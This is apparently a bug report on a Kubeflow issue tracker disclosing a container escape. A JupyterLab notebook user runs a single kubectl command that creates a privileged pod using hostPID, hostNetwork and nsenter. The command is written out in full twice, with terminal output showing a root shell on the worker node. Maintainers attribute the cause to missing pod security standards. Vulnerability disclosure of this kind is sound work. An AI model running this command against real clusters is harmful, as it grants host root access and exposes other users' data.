Escape from notebook to node&user=root possible

[iptizer]

Bug Description

During using the Canonical Kubeflow distribution we discovered a major security incident.

It is possible to escape to the worker node with just one command. With this command root privilegues on the worker node are gained and may be used to hook into other users pods or access data of other users.

To Reproduce

1. Install Kubeflow
2. Login as user
3. Start a JupyterLab notebook
4. Connect to JupyterLab notebook an open a terminal
5. Execute the following code

   kubectl run iamrootonthehost --restart=Never -it \
   --image overriden --overrides '
   {
   "spec": {
   "hostPID": true,
   "hostNetwork": true,
   "tolerations": [
   { "effect": "NoSchedule", "key": "node-role.kubernetes.io/master" },
   { "effect": "NoSchedule", "key": "node-role.kubernetes.io/controlplane" },
   { "effect": "NoExecute", "key": "node-role.kubernetes.io/etcd" }
   ],
   "containers": [
   {
   "name": "alpine",
   "image": "alpine:3.7",
   "command": [
   "nsenter", "--mount=/proc/1/ns/mnt", "--", "sh", "-"
   ],
   "stdin": true,
   "tty": true,
   "resources": {"requests": {"cpu": "10m"}},
   "securityContext": {
   "privileged": true
   }
   }
   ]
   }
   }'
   

6. Shell as user root on node is granted.

Environment

Should not matter, but as follows:

• Juju
• EKS
• Kubeflow 1.7

Relevant Log Output

jovyan@jupyterlab-0:~$ 
jovyan@jupyterlab-0:~$ kubectl run iamrootonthehost --restart=Never -it \
> --image overriden --overrides '
> {
> "spec": {
> "hostPID": true,
> "hostNetwork": true,
> "tolerations": [
> { "effect": "NoSchedule", "key": "node-role.kubernetes.io/master" },
> { "effect": "NoSchedule", "key": "node-role.kubernetes.io/controlplane" },
> { "effect": "NoExecute", "key": "node-role.kubernetes.io/etcd" }
> ],
> "containers": [
> {
> "name": "alpine",
> "image": "alpine:3.7",
> "command": [
> "nsenter", "--mount=/proc/1/ns/mnt", "--", "sh", "-"
> ],
> "stdin": true,
> "tty": true,
> "resources": {"requests": {"cpu": "10m"}},
> "securityContext": {
> "privileged": true
> }
> }
> ]
> }
> }'
If you don't see a command prompt, try pressing enter.
sh-4.2# 
sh-4.2# whoami
root
sh-4.2# hostname
ip-xx-xx-xx-xx.eu-central-1.compute.internal
sh-4.2#

Additional Context

No response

[juliusvonkohout]

This is just crazy misconfiguration. Is your cluster missing pod security standards restricted for all namespaces?

[kimwnasptd]

@iptizer as @juliusvonkohout mentioned the above happens because right now there is not component (i.e. kyverno, pod security standards) for restricting privileges across all namespaces.

We are actively looking on natively supporting this in the Charmed Kubeflow and ensure they are working as expected with the rest of the Juju echosystem.

[juliusvonkohout]

@iptizer Here you can track the progress kubeflow/manifests#2528 and here is the official proposal kubeflow/manifests#2527

[eslerm]

I'm seeing progress in related issues. Can this be closed or completed soon?

[syncronize-issues-to-jira]

Thank you for reporting us your feedback!

The internal ticket has been created: https://warthogs.atlassian.net/browse/KF-6085.

This message was autogenerated

[juliusvonkohout]

in kubbeflow/manifests/contrib/security/PSS you can see our WIP PodSecurity Standards https://github.com/kubeflow/manifests/blob/1c464be6f5e13fbd4ed51406f74919e61619a018/example/kustomization.yaml#L94